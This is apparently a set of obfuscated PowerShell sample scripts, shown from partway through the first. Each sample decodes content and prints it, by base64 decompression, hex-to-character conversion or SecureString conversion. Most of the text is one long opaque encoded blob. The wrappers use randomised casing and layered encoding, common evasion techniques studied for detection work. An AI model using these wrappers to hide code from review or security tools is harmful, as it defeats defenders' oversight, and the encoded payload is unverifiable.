//P4z2///63/x8='), [SySTem.io.ComPReSsiON.cOMPrEsSIONmOde]::DeCompREsS)), [SYStem.tEXT.EncOdiNg]::AScIi)).reAdtOEND() | Write-Output
# 3_2.ps1
 ( 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'<r_l:{&Z' ) | %{ ([cOnVErt]::toInt16( ([strING]$_ ) , 16 )-aS[cHAr])} ) -JOIN '' | Write-Output
# 3_3.ps1
 .( 'Write-Host'-jOIN'') ( ([rUNtiME.INTERoPsERvIceS.MaRshal]::PTRtOstrinGBsTr([runtIme.INTeRopSeRviCES.mARShAl]::seCUResTrInGTObsTR( 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GMAYgAwADAANgBlAGYAMAA3ADIAOAA5AGEANgAzAGMAMwA1ADEAZQBjAGEANQBhADUANgA0ADUAZQBjADYAZABlAGUAOQA3AGIANQBhAGQAYwA0AGUAZQBjADYAOQBiAGIAMAAzAGEAYgA3ADQAOAAyAGEANgBlADQANQBkADgAOABkADYAMQBkADkAOAAxADYAYQAyADgAZQA0AGEAOABmAGEAMABmADEANgA0AGMAMAAwADcAYgBkADIANgBkAGYANwBmADEANwA4AGMAMgAzAGMAZgAxADkANABkADQANgA3ADMAMABjADYAYgAyAGYANQAwAGUAYwA0AGQANwBjADEAMgA5ADcAMgA4AGUAZQBkAGMAMAAzAGYANgAwADQANgBmAGMANQA3ADYANgA2AGQAZABkADcANwA5ADUAYwBmADMAMQA5AGMAMwA5ADIAMABmADcAMwBkAGQAZgBiAGMAMQAxAGEAYQAwADIAOQA2ADgAYwAxADIAZQA2ADkAYwBmADEAMgBjADkANwBmAGMAOAA3ADEAZgA2AGEAMABlAGMAOAA5ADkANQBiADIAOQA2ADgAMgA0ADYANwBhADQAZAAyADQAYgBiADQAMAA5ADkAYwBhADAANQBhADAANQAzADIANQA4AGYAZgA5AGEANgA0AGIAYwAxADMANwA1ADkAMQAxADUAMAAzADIAMQBiAGIAMgAxAGYAMwA0AGEAMQA3ADgAZQBiADEAZgBkAGUAZgAxADMAMwA4ADMANgAxADIANgAzAGMAMAA1ADIAOAA0ADEANAA1ADkANwA4ADkAMgBmADMAMgAzAGIAMwBlADcAZQAwAGEAYgA5ADAAZgA1ADUAZQA0AGIANgBmAGMAZgBmADAAZgBlADgAYgAxAGEANQBkADMAOQA5ADMAMgBlAGYAZQAzADEAYwA1ADIAMQAwADUAMAA0ADIAZQBjAGYAMwBiADkAYwA1AGUAMAA1AGEAZgBlAGQANwBmADYAZABlADYAZgBmADcAOAA0ADAAZAA5ADgAZQAzAGIANQA2ADkAYgAwAGIAMQBlADEANwBmADMAMAA1ADgAYwBiAGIAYQAyAGUAMAA0AGMAYQBlAGUAMQBlADgAOQA1ADgAMgAyADAAZABiAGMAYgA1AGYAOAA4ADAAZgA0ADQAOQBkADgAMgBhAGIAOAA2ADUAOAAwADkAZAAzAGIAMQBiAGYANAAzAGMAOABjADEAMQBhADQAMAAzADAAYQBhAGMANwBjAGYANgAxAGIAMABjADkAOABiAGUAZgAwAGUAZABlADEANwAyADQAZQA0ADgAMgAzADAAYgBmADIAOQBlADMAYQA1ADMAOQBjADQAMAA2ADkANwA1ADUANAAyADYANAA1ADMAMQBlADcANQA0ADMAOABkADIAYQAxAGEANQA1ADQAZQA4AGUAYgA4ADQAZQBlADQANABkADYAMgBkADMAOABhADAAOQA3ADcANAAyAGEAMAA2ADcAZgBkADUAYQA2ADkANABhADMAZQA3AGEANgAxADAAZgAyAGUAZgA4ADcANgBlAGYANAAyADEAMQA1AGIANgA3ADAAZQAxADAAYQA0AGYAOQA3ADUAOABmADEAZABiAGIANgA1ADcAYgA4AGQAMQBjADMAMQA5AGQAYwBmADkANQA3ADYAMQA4ADcANwAyAGQAOQBlADQAZQBiADUAZQBkADMAYQA2ADMAZAA1AGYAYgBhADUANQA3ADEAOAAzADgAMgBkADUAMABhAGUAMwBkAGYANwBlAGIAYwBkADQAMQAwAGIAOAAzADIAYQA5AGQANgAwADYAOAAwADAAZABiADcAYgBlADcANQA2AGEAZQA3ADAAOABjADgAOQA4ADUAYQAzAGIAMQA2ADAAMwA5ADUAMAA4ADQANgA5ADAAOQBmADAANQBmADAAZgAxADAAMgAzADQANAA3ADIAOQA5ADYAMABkADcAMABlAGEAYgA0ADgAOABlAGIANgBmADkAMAA0AGUAZQA3ADMAYgA5ADAAMQA3ADYAOQBiADMAMwA0AGUAMgBkADgAZQA2AGEAMgA0AGIANAAzADIAZgAyAGQAYgBlADQANgA4ADkANgBjAGUAMwA0ADgAMwA0AGIAYwBlADIAMAAyAGMAZAA1AGYAMgBkADYANQA0AGYANgBmADUAOQBhADAAMAAyADMAOAAzADIAYgA4AGYAYwBhADAAOQAxAGEANABhADkANAA0AGMANQAyADgAYgBhADcANgA0ADQANwBlADAAOABiADMANwAzADYAOABkAGUANwA1ADAANAAyAGEANwAzADAAYQAyADQAOABiADgANQBiAGUAZAAzADAANgA2ADAAMQA5ADAANQA0AGQAZgA2AGMANwAxAGYAYQA1ADkAMQA1AGUAZQA1ADYAMAA2ADQAYgA1AGIANgBiADIANAA1AGMAYgA0ADAANQBkADkAZgBiADIAZQBhADYAOQA1ADYAMQA0AGMANgBmAGYAOAA4ADcAZQBkADYAYQBkADAAMgBhADIAZgAyAGEAMQBiADkAMAA1ADMANgAzADUAZgA3ADcAYwBlADMAOQA5ADYAMQA0AGUANwA4ADEAMgBiADIAOAAwADYAMwA4ADYAOQBmADYAZgAzADUAZgA5AGEANQA0AGUANwA2ADEANABhADYAMgBkADAAZAAzAGMAYQA5ADEAZgAyADEAMAA3ADIAYgAxADkAMgA4ADMANABiADUAYgA3ADYAOAA2AGYANABkADYAYwA2AGEAOQAzADAAOAA3AGUANgAzAGMAOAA1ADUAMAAxADQANQAwADkANwA2ADgAOABkADgAMQBmAGIAYwAzADcAYgBiADAANwA3ADAAOABjADQANQAwAGEAYQA0ADQAYgA3ADAANgBjAGUAZAA0ADcAOAA3AGIAOABhADcANQBhAGUAYgBlADIAYwBjAGUAOAA2ADYANgBiADcANQBhADMANAAxADYAMgAwADgAYwA2AGEAYQA4AGEAZgA3ADcAYgAzADEAYQA5AGMANAA5AGYANQAxADQAMwAzAGUAMwAwAGEAZABlADAAZAA1ADYAOAAzAGUAYwA5ADMAZAA3ADQANQAxADEAZgAxAGMANABhADkAYwAxADYANQBkADUAMAA3AGMAMQBkADcAOQA2ADIAMgA0AGEAMgAyAGMAMgBjADQANAAyAGEAMABiAGEAZgAyAGQAZgBiAGIANwBiAGMANABmADUAMABjADEAMgAxAGQAYQAxADAAZgA2AGEAYgBlAGMAOQA1AGMAMQAyAGQAZgA4ADEANwA2AGQAZgA3ADQAYQA0ADEANABmADQAMQAzAGEANgA3ADkAZABmAGUAYgAxAGUAOAAyADYAMgA2AGQAZgA5ADIANwBlADUANwAxAGQAMQBmADgAOQBlADQAZgAxADEAYwA3ADQAOQAxAGQANgAxADcAOAA4ADEAYQBjADIAYwBjAGYAMwBkAGMANABhAGEAYwBmADIANQA3AGUAMQBiAGIAMwAwADcANQAzADkAMgBmAGMAYwBjADIAZQBjADMAMAA5ADQAZAAwAGEAYgA3AGQANQA3ADYAYQA0ADUAOQAyAGYAZAAyADkAMABiADUAYgA2ADUANgAyAGIANAA3AGQAOABjADgAOQA0AGUANAA0ADkANwA2ADEANwAwADMAZAA0AGQAOABjAGEAYQBiAGYANwA0AGQAZAA5ADEANwBhAGIAMABiADIAOAA5ADQAYQBkAGUAMABmAGEANQBlADYAOAA4ADgAMQBhAGQANQA2ADgANgA2ADYANQBhAGIAZgBkAGEAMAAzADMANQAxAGMAZQA1AGYAOQAwADEAYwBhAGMAYwAwADcAZAA5AGYAYwA1ADgAOABjADUAZABiADYANAA3AGMAOAAyADIAMwA1ADIAMQA1ADQAOQBjADkAZQBiAGMAZgA3ADkAMgA5ADgAYwBlADkAZQBiADYAYQAyADIAOQAzADAANwA5ADgANwAyADYANABjAGUANQA4AGIAYgA2ADcANAA5ADAAYQAzADQAMwA4ADIAMAA5ADMAZgBiADcAMwA5ADQAYgBiAGMAZQBiAGEANgA3ADMANwBlAGUAZgBhADQAOQBhADYAMAA5ADkAMQA2AGUAYQA2ADMAMQA3AGEAYQA1ADQAYQA3ADQAYgA1ADYAYgBjADEAZgBjADYAMAA5ADQAMwBiADUAMAA4AGMAZQAxADgANgAzADkAMQBkAGEAZAAxADYAYgA1AGYAZQA3ADQAYwA5AGEAMABmAGEANQBkAGEAYwA2AGEANwA4ADYAOAA4ADgAZQBjADAAZAA2ADMAZAAzADYAZQA0ADIANQBiADUAZQAyAGQAYwBlADQANgAyADkAMABiADIAZABkAGMAZAA1ADUAOABlAGQAZAA2ADYANQBjADgAOABiADYAMgA3ADkANwAwAGQAMgBmAGYANwA1ADcAMwBhAGIAMgBmADAAZAA4AGUANwA3ADAAZgAyADEAOAAxADAAMwAwAGUAYwAxAGEAMwBkADUAMwBlAGUAYwBiAGQAMwA1ADEAMQA4AGYANAA5ADAANgAyADkAYQA5AGQAOQA2ADgANgBjAGIANgA1ADAAMwA0ADYAYgA3AGMAOAAyADkAYgBkAGUANQBlADAANgA5ADgAOQA5ADYAMgAyADQAYgBmADIAMgA2AGIAYwBhADQAMgBhADAAMwAxAGEAMQAzADYAZQBmADIANwAxADIAMQBlAGYAOAAxAGMAYQBlAGEANQBmADMAOABhAGMANwAxADkANQAwADkAYgBkAGYANAAwADYAYwBjADYAZQBhADIAYgA4AGIAYwBjADMAMwA2ADEAOQBiADIAMwA0ADkAYgAyADYAYQAxAGUAMQBjADgAMgA3ADIANgAxAGUAOAA4ADgAOABkADIANAAwAGYANABjAGQANwBhADAANABhADUANwAxADUAMgBkADIAZAAzADIANQA1AGYANgBkADkAZgA1ADEAMwAyAGEAYgA5ADIAMgA2AGUAMgA1AGIAYwAwAGYANwA3ADQANgBjAGMAOQBmADcAMQAzAGEAZQBhAGIAYQBiADUAZgBjADgANABkADUAYgA2AGQAZQBlADEAOABkAGEANwAwADAANABjAGEAYwA3ADIAMQA5ADgAYwBiADcAMwA2ADQAYwBkAGIAZgAxADAANQBlADQANAA2AGYAZQA3ADAAYQAyADgAMgA4ADUAZQA0AGQAZgA0ADkAOAA0ADQAMwA3ADEANgAyADgAYwA2ADkANQBkADIAMwA1ADEAOABhAGIAYgA0ADYAOQBhADQAOABmADQAMABmAGMAOAAyADMAMgBjADQAYQBmADcANQBkADMANQBhAGEANQAzAGMANAA4ADAAMgA0AGIANABkADUAMQBjADYANwBmADIANQA3AGQAZgAyAGEAOAAyADgAZgA1ADIAMAAyADIAZAA1ADUAYQBmADAAZgBhADUANgBlADgAMgAzADIAZAAyADQAYwA3AGIAMQBjADkAMABjADUAMwBiADMANQBlADQAMAA4ADMANABhADMANABmADYANwAzADEAMgA3AGEANQBkADYAYQA4ADYAZgA2ADIANwBjADcANQBhAGMAOABiADAAZQBjAGMANgBkAGYANwA3ADUANAAzADcAYQBiADQAOABlAGIAMwBmADcAYwBkADcAOAA0ADMAYgA2AGIAYgBhADcAMwBhAGQANAA4ADgAZABlAGUAOQA4ADAANwA4ADAAMgBmADQAYwAzADQANgA3AGUAMQA3ADUAYQA0ADQAMwAwADAAYQAyAGMAYgA4ADkAMgBmAGMAMgA5ADkAYgAxADAAMwA0ADYAOQA0ADcAYQBkAGMAZgA2ADYAMwAxAGMAMwBjAGMAYQAwADkANwBjADQAYgAxADgAYgAyADUANQBmADYANwAxADEAYwBmADMAOQBiADQAZQBiADAAZQBkADgAMwBlADMANABkADYAMAA1ADUAMABhADQAMwA1AGMAYQAzAGMAMQAxAGQANAAxADYANwAwADcAMQBjAGQAZQA4ADgAYwBkAGUANwA1ADkAMQAxADYAYwA2AGMAOQAwAGYAYgBkAGMAZQA0ADkANQA5AGYAOQA4AGIAYwA3AGEAMABjAGQANgBmADEAMABlAGMAZgA2ADkAZABlAGQAOABhAGIAZgBjADgANAA3ADkAYwAxAGIAMgBhADkAZQBiADMAYQAzADQANgAxADQAOQA5ADYAOAAxADgAYgBkAGIAMwA3ADIANgAwAGMAYwA0AGQAMAAyADAAMwBiAGMAYgA5ADgAYgBiADEAZQBmADkAMAA5ADYAMwA4ADUAMgA1AGQAMQAxAGMAYwAzADkAZgA5AGIAOAAyADAAZAA3ADkAYQA2ADYAYgA0ADMAZQBkADUANwAyAGEANgA4AGIAZgA3ADEANgBkADYAZgBkAGQAMQBiAGEAYwAxADAAZQBjADcAZgA2ADYAZAAxADUAYQA4ADMANAA0ADcANAAxADIAMQBkADgAZAA0ADQAMwBlAGUANwBiADcAOAAyADYAMAA0AGUANQBlADQAMAAxADIAMQAxADkANgBjAGYAOQA0ADgANgBhAGUANQBlADEAOQBlAGMAMQA4AGUAZgBjADYAZAA2ADEANwAzAGQAZQBhAGIANwBhADQANAA0ADkAMQAxADgAMQBlADgAZQAwADMANwAyADEANABkAGMAMAA3AGUANgA1AGUAMwA3ADUAZQBkADEAZAA1AGEANQBiADIAYQBkADUANwA0ADQAYgBlAGYANQAxADQAMwA1AGQANQA2AGUAZgAzADUAYgBkAGEAYQA2ADgAOQBkAGYAOAA2ADgAYgBjAGUANAA5AGQAMwBmADEAYgBiAGYAOQA2ADcANwA0AGMAMwA5ADgAZQAzAGYANABhADkAMwBlAGQAMgBmADMANQAwAGIAMAA1ADEANwBjADgAYgA1ADcAYwBmADIAYQBjADYAMAA2ADcANgA5ADYANQBjADMAZABhAGEAYQA5ADIAZQA4AGEAMgA4ADUAOABjAGMANwAyAGIANQBjADYAYgBlAGIAYQAxADMAYwA1AGQANgA3AGUAZgA1AGIAZABkADYAOAA1AGMANwA2ADMAMwA0ADUAZAA4ADQANwA4ADMAYgAzADYAZAA3AGEAMwBhADkAYQBkADYAZgA1ADkANwBmADIANwA5ADIANAA2AGIAMAAyAGEAOQBkADIAYgBhADMAYgAxAGYAMQA4ADEAZQAxADQAMwBjADkAMABiAGYAZgA1ADAAOQBkADMAMgAyADcAZgBlADgAOQBhAGUAYQA5ADQAYQA1AGIAOQA5AGQAMgAwAGMAZQA2AGYANAA0ADAAMwA0AGMANQA0AGQAMQA4AGQAOQBlADIAZgAyAGEAMwA3ADMAZQA0AGQANABmAGQAYQBlAGIAYQBhADMAYQAxADIAYQAyAGYAZABiAGEAOQBjADQAOQBjAGIAZAAxADcAMAA4AGUAZgBmADcAOABkADIAOAA3AGEAZgAxADkANgA1ADkAMwBiAGYAZgA5ADcAZgAwAGYAMABiAGUANAAzAGMAZAA3ADMANABjADUAYwBmADQAOQA3AGQAMAAxADcAOAA3AGIANwBlAGMAOAAyADYAYwA0AGMANAAyADgAYwA3ADMAOQA1ADgANwA2ADIAOQA1AGQAZQBlADMAOAAxADgANgBjAGEANQBlADkANgA4ADgAYQA3ADMANABhADAAMAAzAGIAMAAwAGQAYwAxADgAMgA1ADAAMgA2AGIAOQBhAGUAOAA3ADgAOAA2ADcAMgA2ADQAMAA5AGQANgA1ADIAYgA4ADQAYQA1ADcAZQBiAGEAZgBmADcAMABkADEAMQA2ADAAMwAxADYAOQBjAGIAOQBmADkAZQBjADEAMgA1ADMAOAA4ADgAZQA3ADkAMgA2ADAAOQA0ADEAOABkAGQANwAwAGYANgBlAGMAYwBmAGUAYQA5ADQAZAA1ADMANAA0ADIAZgBmAGQAMgA0ADcANQAzADIAYQA4AGEAOQA3AGYAMgA2ADQAZgAwAGMANgA2AGQAMAA2ADkAYQA3ADUAZQA3AGIAYwAxADUAYQBkADQANAAxADAAYgBlAGEAYgBjAGMAYQA3AGQAYwAzADYAOQA5ADAAMgA1ADQAZgAxADIAZgBjAGYAMwAwADMANgA5ADMAZQBkAGMAYgA1ADUAMwBlADIAYQBlAGIAYwAzADMAZgAwADIAMgBhADIANwA3ADUAMwA2ADEAMAA3AGQAZgA1AGUANAAxAGUANABkADgANgBkAGYAMABhAGEAMQA0AGQANQA2AGUAZQA0ADMAMAAzAGIAZQBkAGMANAA2ADAANQAwAGMAYQBjADkAZgBlAGUAZQA4ADIAZQA2AGUAYgBkAGEAMAAyADEAYQA5ADgAYwBhADgAMwBlAGIAZABjADEAZAA5ADEANQA1AGUANgBmADcAMgBkADgANAA4ADQAZQA3AGMAZgBkAGUAMQBlADUAMwA3AGEAMwA5AGYAMAAwADUAMwBmADIAOQA1ADgAYwA2AGEANQA1AGEAZgBlAGMAYgAzADMAMQA3ADQAOQA0AGIAOQBjADIANAA0ADMAZQBkADQANgA3ADQAMAAwAGMAMQBlADgANQBhADEAMQBmADMAOQBkADMAYQA2ADkAOQBlADEAMAA2ADAAMAAzAGQANQA0ADEAYQBlADUAYgBmAGQAMgAxAGMAMABmADQAOQAyADgANgAyAGIAYgA3ADYAZgA3ADgAZgA1ADYANAA3ADIAOAAxAGIAZgAxAGYANgA1ADkAYQBhAGQAYgA2AGMAOABjADYAMgAwAGQAZgA1AGYAYQBkAGQAZAAyAGEAOABkAGYAZgBmADMAMwA1ADEAYwAxADgAMwA5ADUAMgAzADQAZQBjAGMANAAzAGMAMwA1ADkAZAAyAGQAZQBjADIAZgA0AGMAMgA1ADUANgA0ADIAMgAwADEAZABmAGYAMgBhADAANAA4ADcAMQA1ADAAYQA5ADEAZgBjADIAZQA4AGMAZgA2AGUANgBkADQAMwAwAGEAMgBlAGIANQBmADgANQAzAGEAOQBmAGQAYQBhADMAOAA4ADAAOQA4ADUAYwBhADQANABhADIAZQA5ADcAZgAyADUAYQA0ADgAOAAyADgANAAyADYANgA0ADMAYgBkADkAYQBiAGMAZQAyADMAYwBkADgAZAAyADUANgA3ADcAZgA3ADgAMQA4AGQAOQAyADMAYgAzAGUAYQA4ADYANgBhADEANgBhADQAMQBmADQAMwA0ADYAYQAyADEAOQBjADMAMwA4ADMANwBlADEAMAA2ADkAYgBmADQANgA1AGYANQA5ADYAZABhADAAZgA2ADIAOQAwADgAZQBmADEAZgA0AGIANgA4ADQAMwBjAGIAZgA2AGIANgA0ADcANAA2ADUAZQAwADgAMQBhAGIAYwA0AGQAYQBkADAAYQBkAGEAYwAxADcAZQAzADEANwAyADcAMwA0AGIAMAA5ADcAOAA2ADgAZgA2ADIAZgA2ADIANQAwADAANQA5AGYANwBlADAAMQBmAGMAMAA3AGQANwAwAGUANgBhADYAYQAwAGYAMgA1ADQAOQA4ADAAOQBjAGMAYgA1ADcAMgAxAGIANABlADQANABmADkAYwA4AGQANQBhAGUAZQAzADMAYgAzADYAOAA5ADEAZQA5ADcAZABkAGEAYwBlADMAMQAzADMAYQBhAGMAZABjAGUAYQA0AGUANABjADUANQA5ADUAMwBkADgAYQBjAGIANwA0AGEAYwAzADgAOABlADUAMQA3ADIAOABmAGQAMAA1AGQAYQBkADYAMAA1AGUAZgAyADkAMwBlAGQAOAAyAGQAOAAwAGEAYgBlADQAMwBjAGYANAA0AGYANgA1AGUANgBkADAAMgBiAGYANgAzADIAYwA4ADgAYgAzADAAZABkADIANQAwAGYAZQA4ADAAOAA5AGMANwA4AGUAYwA3AGUAZQA4ADIAMABmADIAMQA5AGYAZQA2ADIANwBiAGIAMAA5ADIANABmAGUANQBkADIAOAAwADkAZABhADQAMgA5AGIANQA2ADEAOAAzADMAOQA3ADUAZQA5AGEAYgAzAGIANwA0AGYANQAwAGYANABhADcAYQA1ADQAYwBiAGYANAA1AGMAMQBiADQANAA1ADgAOABmAGQANQBhADkAYwA3ADIAYwA0AGYANABjADEANAAxAGMAMQA5ADgAYQA2AGMAMwBiADIANwBlADEAZgA1ADUAMwA4ADgAMgA4ADgANABmAGMAYwAxADIAOAA4AGQANwA5ADAANQAyADQAMgBiADYANgA1AGUAMwA0AGUAMwBkAGYAOAAxADUAMABiAGEAZgAwAGIANgA2AGQAYgA3ADcAZQBjAGIAZgA0ADUANgAzADAAMAA5AGEANQAyADEAMQA3ADMAMAA2AGYAYgBlADIAMABlAGUAYgA1ADcANAA5ADUAOABhADUAMwAzAGIAOAAzADgAZQAwADAAYQA5ADMAYwA0ADAANwA5ADQANAAyAGQAOQAyADEAOAA1ADEAMQBkADQAOAA4ADEAMABhADMANgAyADUAMAAxADQAYQA1AGYANABlADYANABjADYANwA5ADEAYQBlAGUAOABlAGUAMgAzADYANgAwADgAOQA4AGIAZgA1AGIAZAA5ADgAYgBmADIANgA2AGYAMABlAGYANAAxADgAYgAzADkAZQA0ADgAMQAzAGUAOQBkADkAMQA3ADIANAAxAGYAMgBmAGUAZABkADgANQAwADkANgA3ADkAMQBiAGUANwA5AGQAMwAxAGMANQBkAGQAMgBjADYAMQA4AGIAZgA2ADMAOQA0AGEAMgAyADQAYwA1ADAAZgA1ADMAMAAyADcAMgBlAGUAMgA4ADgAMQA0AGMANgA4ADYANAA4AGQAMgBlADIAYwAwADEAZgA4ADUAZABhADgAYQAxADQAZQA4AGQANABkAGUAYwAwADMANQA5AGUAYQBhAGMANAAyAGIANAA4ADQAZABmADMAOQAxADEAOQAzADAAMgA0AGUAZgA5ADQAYgAyADMANABlADUAYQBlADYAOABhADcAMgBlADQAZgA4ADEANQAxADIAMwBhADMAMAAyADIANwA1ADAAOAAxAGYAZQA3ADYAOQBmAGMAMwA2ADcANAAwADkANAA3AGYAMAA4ADIANwAxADkAYgA4ADUANQBmADMAZAAyAGEAYgBiAGQAMABiAGIAZQA4ADUAMQAxADcANQA4AGIAOABiAGEANgBiAGIAZABlAGYAMQAzAGQAZAA4ADYAOAA2ADIANAAzADUANAA4AGQAZAA1ADAAMQBhADIAMgAwADgAMgBkADAAYQBmADUAYgA1AGIAZgA3AGIAMAAzADYANQA4ADMAZQA5ADQAMAA4AGUAOQA0ADUANABjADEAZgA3AGMANABlAGUAZgA0AGYANABmAGMAYgA3ADcANAAyAGIAYwAzAGYAOQAzADUAMwBiAGMANQAzAGQANQA5AGUAYwAyAGUAZQA2ADcAMwA0ADIAMAA4ADUAMQA4ADMAZgA0ADMAYQBhADQAOQBkADQAZAA3AGMAOQA1ADgAYgBkADkANQAyAGYAZAA2AGQANQA2AGYAOAA0ADgAZABiAGIAYQAwADYAMAA3AGQAYwA4ADMANQAxAGYAYwAzAGEAZgAzAGIAZQAyADgAMQBiADcAYwA4AGMAZQBlAGYAYwBlADMAYgBhADkAYwBkADUANQA5AGMANwA1AGUAMABiAGIAZgAwADUAOQA1AGYAYQA0AGMAYgAyAGEANABhAGMAYQBkADEAOQBjAGYAOQBkADYAMQBlAGEANwBjADgAMAAzADIANwAyAGEAMwA1ADIAZgA4ADgANwBkADcAMwAxADEANAA3ADMAMgA2ADEAYgA4ADEANQA1AGIAOQA2ADAAOQBkAGUAOQAzADgAOQA3AGMAMgA3AGEANgBkAGUAYwA1ADkAOABiADQAZAAxAGYAMwBhAGQAZgA4AGMANQBiADcAYgA2AGEAMABkADQANQA3ADQANAA0ADMAYwAyADkAOQA0AGEAYwA1ADcAZQBjAGMAYgAwAGEAZQAxADgANAAwADgAOAAzAGQAMAAwAGIAMABhAGIAZABhADcANgAyAGQANgBmADkAMwBjADgANgBlADcAYwAzAGEAZABjADIANgBhADQAYgAxAGIANwBlADEAMwA5ADgAMgBiADAANwAyADcAOQBhADQAYwBiADYAZAAyADkAMAA4ADAAMgBiADEANAAyAGYANABlADcAZQA0ADcANwA5ADIAOAAzAGMAMAAwAGEAOABjADIANAA3ADUAMQBkAGQAOAA4ADkANgBmADYANQBlADIAMwA3ADQAZgA3ADUAZAA0ADcAYwAwADYANgA3AGUAOQAxADcAMAA3ADIAYwBiADQAMwA2AGEAZgA2AGUAMAAyADMAOABhADUAZgA2AGYAZQA1AGYAOQA4AGYANgBjAGYAMwA3ADMAOQA3ADQAMQBlAGEANwBkAGEANgBmADIAMQBkADEAYgA3ADEANAAwAGMAOAA0ADEAMAAxADUAOQA3ADEANQBlAGMAMwBiADQAZAAyADEAMQA0AGEAMwBhADkAMQAyADMAMwA3ADMAYgBhADcANQA2AGUAZABjAGUAYQAxADEANABiADYAYgA4AGYAMAA2AGMAZgAxAGYAMgA0ADUAMwAxADQANgA1AGIANgA5AGIAOQA4ADgAYgAzADAAZABiADQANQBlAGQAOAA3AGYAZQA5AGYAZQBlAGMAMABmAGQAYwBmADEAZgA2AGEAMQA0ADkAMQA2ADIAMQBhADkANwAwAGYAYgA0AGYAZgA2ADYAMABhADAAOQA3ADQANwBjADQANwBjADIANwA4ADAAYQBkADQAMQBiADEAYwA0AGMAMgBkADEAMwBhADkAZQBjAGQAYwAzADEAMgA0AGEANwBjAGQANABhAGYANQA5AGMAMQBjAGUANwA2AGUAYgBiAGEAZQA2ADgAMQAzAGEAOQA2AGQAMgA4AGIAZABmADUANgBkADEAOQBjADQAMQA3ADUAZQBkAGUANgBlADEAZgAxAGUAOABhADQAMQBjADYAMQA4ADQAZgBlAGYAZgBhAGQAMQBkADkAYgBlAGUAMwA4AGMAOQA1ADYAZAA1ADQAYQA2AGMANQBkADAAYgBjADIAMwBjADUAYwBmAGEAYgBmADUAOQBlAGMAZQAxADAAYgA1AGUANQAwAGMAOABiADMAYQA3ADIAZQBmADQAOAAyADUAMABmADEAYwAzADIAMwA2ADcAOQBhADQANgAzADAAMgA0ADIAZQAxAGIANwA2ADAANAA0AGEAMwAwADEAYwBlAGMAMgAzAGUAYQA3ADUANQBmADYAYgBjADQANgA0ADcANgBhAGMAYwBkADcAYwAwADEAMABiAGUAMAA1AGEAMgA1AGEAZQA4ADQAZQA3ADIAYgA1ADEAYwBmADMAYgA3AGQAMAA5AGQAZgBhADYAOQBjADYAZAA0ADAAZQBlAGQAYwA1ADkANAA2ADkAMgAyAGYAOQBiAGEANwA4ADAAYwBlADQAYQAzAGIAYwA5ADEAOAA1ADYANQBmADEANwBhADMANgA3ADgAMQBjADgAOAA4ADUANQA0ADcAYwBhADMANQBmADYAYQBiAGYANgA2AGYANAA2AGEAZABlADYANABjADcAZAAwADEAMQA1ADIAYgBmAGYAYQAxADIAZgA1AGQAYwA2AGQAZgA1AGEAZQBkADkAYgBkADcAMgAzAGMANQBjAGYANgA0AGUAZABkADkANABjAGUAYQA4AGYAZQA2ADUAMQAxADcAZQBiADAAOQBlAGMAYgAxADAAOABlADgAMwBjADcAYgBlADcAYwA4ADAANQBkAGUAYgAxADEAYwA5ADcAZgA1AGIANABiADUAZABlADYAZQBlADcANgBmADkAMABlAGUAMQBjAGQANQBhADkANgAyAGUAOAA0ADgAMQA0ADEAYgBmADUAMgA5AGUAMgA2ADMAOQAwADQAYwAyADYAZQAxADQAZgBiAGMANQAzADkAYgBkADYANwBjADgAZQAzAGUAMQAwAGYAOAA2ADQAYwBhAGEAZgA5ADQAMABmADUAMgA5AGMAZABjADQAMwAzADQAZAA0AGUAMQAwAGQAYwBjAGIAMwBkADkANQA0ADYAMAAxADQAMwBhADQAZABjADgAYQA4ADIANgAwADIAZgBhADIANwAyAGYAMwBjADMAYwBiADYAYgA2ADUAZgA5ADYANQAzAGMAMgA3ADYAOQA4ADgAZQAyAGMAMgAzADEANAAyAGMAOAA0ADkAMwA4AGIANgBhAGEAZgBhAGMANwA4AGMAMwBlADIAOAA3ADcAMAA3ADcAZQAxADYANgBjADcAYgAwADMAYgBhAGIANAA4ADgANAAxAGQAMAA3ADgANwAyADAAMQAxADUAYQA0ADUANwAzAGIANwA5ADkAMQA4ADIAZAA0AGMAMQA2ADYANgA0ADcAYwA2ADIANQAyADgAMgBkAGYAZQA0ADUANgA3ADUAYwBlADYAYgBlAGQANwAzADYANwBhAGYANAA3ADUAMgA5AGIAZgA2ADgAYwAyADUAMQBmAGQAYgA0AGYAMAA2AGEANgAwADUANQBkAGEANQAzAGMAOABiADEAOAA1ADMAYQBmAGIAOAAzAGMANAA4AGIAZQAyADEAZQBlAGIAMAAzADUAMwBlADAAZABkADYAMgAwADUANwAzAGYAOQBmADUAYwAxAGIAZgBiADIANABjAGYAOQAwAGYANgBiADkAMgAxADkAZgA5ADcANwBiAGUAMQAwADUANAAxADMAMwBmAGYAZgBmAGIANABlAGUAZQBhADgAZAA1ADQAMgBlADcAYgAwAGMANQAxAGUAMwAzADEAMAA5AGYAYQBkADAAZAA1AGQAMgAxAGEANQBlAGYANQAyAGIANwBhAGQAMwBlADMANgAxAGUAMwBmADAAYwA4ADgANwBiAGMAZgA1ADMAYgBmAGIAZABhADkAMAAwADUAZABkADIAMQA0AGUANwBlAGMAYQAwADkANgBiADQAYgBlAGIAZAA3ADEAMwA2ADUAMQA4ADAAYQBjADgAYwAzADcAOABhADkANABjAGYAZAAyADcAZQA2AGIAZAAyADcAYwA1ADYAMgAwADUAMQBiAGEANwAwAGIANABmAGYANAA1ADYAYgA2ADMAOQBjADcANQAzADMANQBkADQAMwBiADgAYgA3AGIANwBlAGEAMQBmAGMAYQA3AGIAZABlADgAYQA4ADcAMwAxADkANABmAGYAOQAwADYAYgBkADMAMwAwADMAMwBjADIAMwAwADAANgA3AGUAYwAwAGUANwA0AGMAMgA3AGUAMgAxADgANQA2AGIAOQBiADMAYgAzAGMAZgAzADUAYwA3ADkAZgBkADIAZQA4AGIAMABiAGIANQAzADcANQBlADEANgBiAGQAMQA2ADIAOQBhADkAOQA5AGIAYgAzAGMAYwBkADAAYQA5ADkAMwBlADEANQA0ADEAZgAzAGEAOQAwAGMAMgBlADEAZAA3AGYANgAzAGYAYgBlADYAOQAyADYAOABhAGIANQA4ADgANQA3ADMAMQA4ADYAMgBiADkAMAA0ADMAMgBmADMAZgAwADMANABmADUANQA0ADYANQA0ADkAZQBiAGIAZAAzAGUANAAzAGYAYwA4AGEAOQAwAGYAZABkAGQAMABhADYAYgBkADcAYgBlAGYANwAyADYANgA5ADkANwBlAGIAMABmADkANAA1ADYAYgBiAGUAMQBjADcAZgA3ADYANAA1ADAAYwA3AGEANAA4AGIAMwAwAGMANwA0ADcAOQBkADAAMgAwADkAMwBjADYAYgAwAGEAMQAzADMANABkADAAOAA3ADcAMwBmADcANgA1ADAAMAA5ADMAMgA